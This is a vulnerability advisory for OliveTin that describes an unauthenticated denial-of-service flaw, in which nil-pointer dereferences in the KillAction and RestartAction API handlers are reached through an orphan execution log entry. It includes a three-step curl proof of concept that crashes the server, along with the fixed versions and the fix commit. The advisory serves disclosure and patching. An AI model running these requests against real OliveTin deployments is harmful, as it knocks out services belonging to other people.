GO-2026-4621
MEDIUM 5.3CVSS 3.1OliveTin has crash on NPE by calling APIs with invalid bindings or log references
Summary
An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.
Details
The issue is caused by this flow:
StartActionByGetaccepts arbitraryactionIdand still calls executor:service/internal/api/api.go:239
Executor stores a log entry before binding validation:
service/internal/executor/executor.go:519
If binding is nil, execution stops, but the log entry remains:
service/internal/executor/executor.go:781
KillActiondereferencesexecReqLogEntry.Binding.Actionwithout checkingBinding:service/internal/api/api.go:79
RestartActionhas the same unsafe dereference:service/internal/api/api.go:1285
Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.
PoC
Environment:
- OliveTin default single frontend on
http://localhost:1337 - Reproduced on
main(commit235493e) and tag3000.11.0
- Create orphan tracking ID with invalid action:
T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
-H 'Content-Type: application/json' \
--data '{"actionId":"does-not-exist"}' \
| sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
echo "$T"
2. Trigger panic in RestartAction:
curl -v -X POST http://localhost:1337/api/RestartAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
3. Trigger panic in KillAction:
curl -v -X POST http://localhost:1337/api/KillAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
Observed client output:
- curl: (52) Empty reply from server
Observed server log:
- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
- service/internal/api/api.go:79 (KillAction)
- service/internal/api/api.go:1285 (RestartAction)
Impact
This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.
- Published
- 5 Mar 2026
- Last modified
- 23 Mar 2026
- Weakness
- CWE-20CWE-476
- Also known as
- GHSA-fwhj-785h-43hh
- Sources
- OSV GHSA-fwhj-785h-43hhJSONOSVJSON
Scores
| Source | Scored by | Version | Score | Vector / decision |
|---|---|---|---|---|
| OSV | GitHub | CVSS 3.1 | MEDIUM 5.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
Affected
| Source | Vendor / ecosystem | Product / package | Affected versions | Fixed in |
|---|---|---|---|---|
| OSV | Go | github.com/OliveTin/OliveTin | < 0.0.0-20260304225158-bb14c5da3e64 | 0.0.0-20260304225158-bb14c5da3e64 |
References
- https://github.com/OliveTin/OliveTin/security/advisories/GHSA-fwhj-785h-43hh · WEB, ADVISORY
- https://github.com/OliveTin/OliveTin/commit/bb14c5da3e64b03f207c7f38139eb60e97c278fc · WEB, FIX
- https://github.com/OliveTin/OliveTin · PACKAGE
- https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1 · WEB
History
- 25 Nov 2026 20:14 UTC · OSV: first stored (published 10 Mar 2026)
- 25 Nov 2026 20:13 UTC · OSV: first stored (published 5 Mar 2026)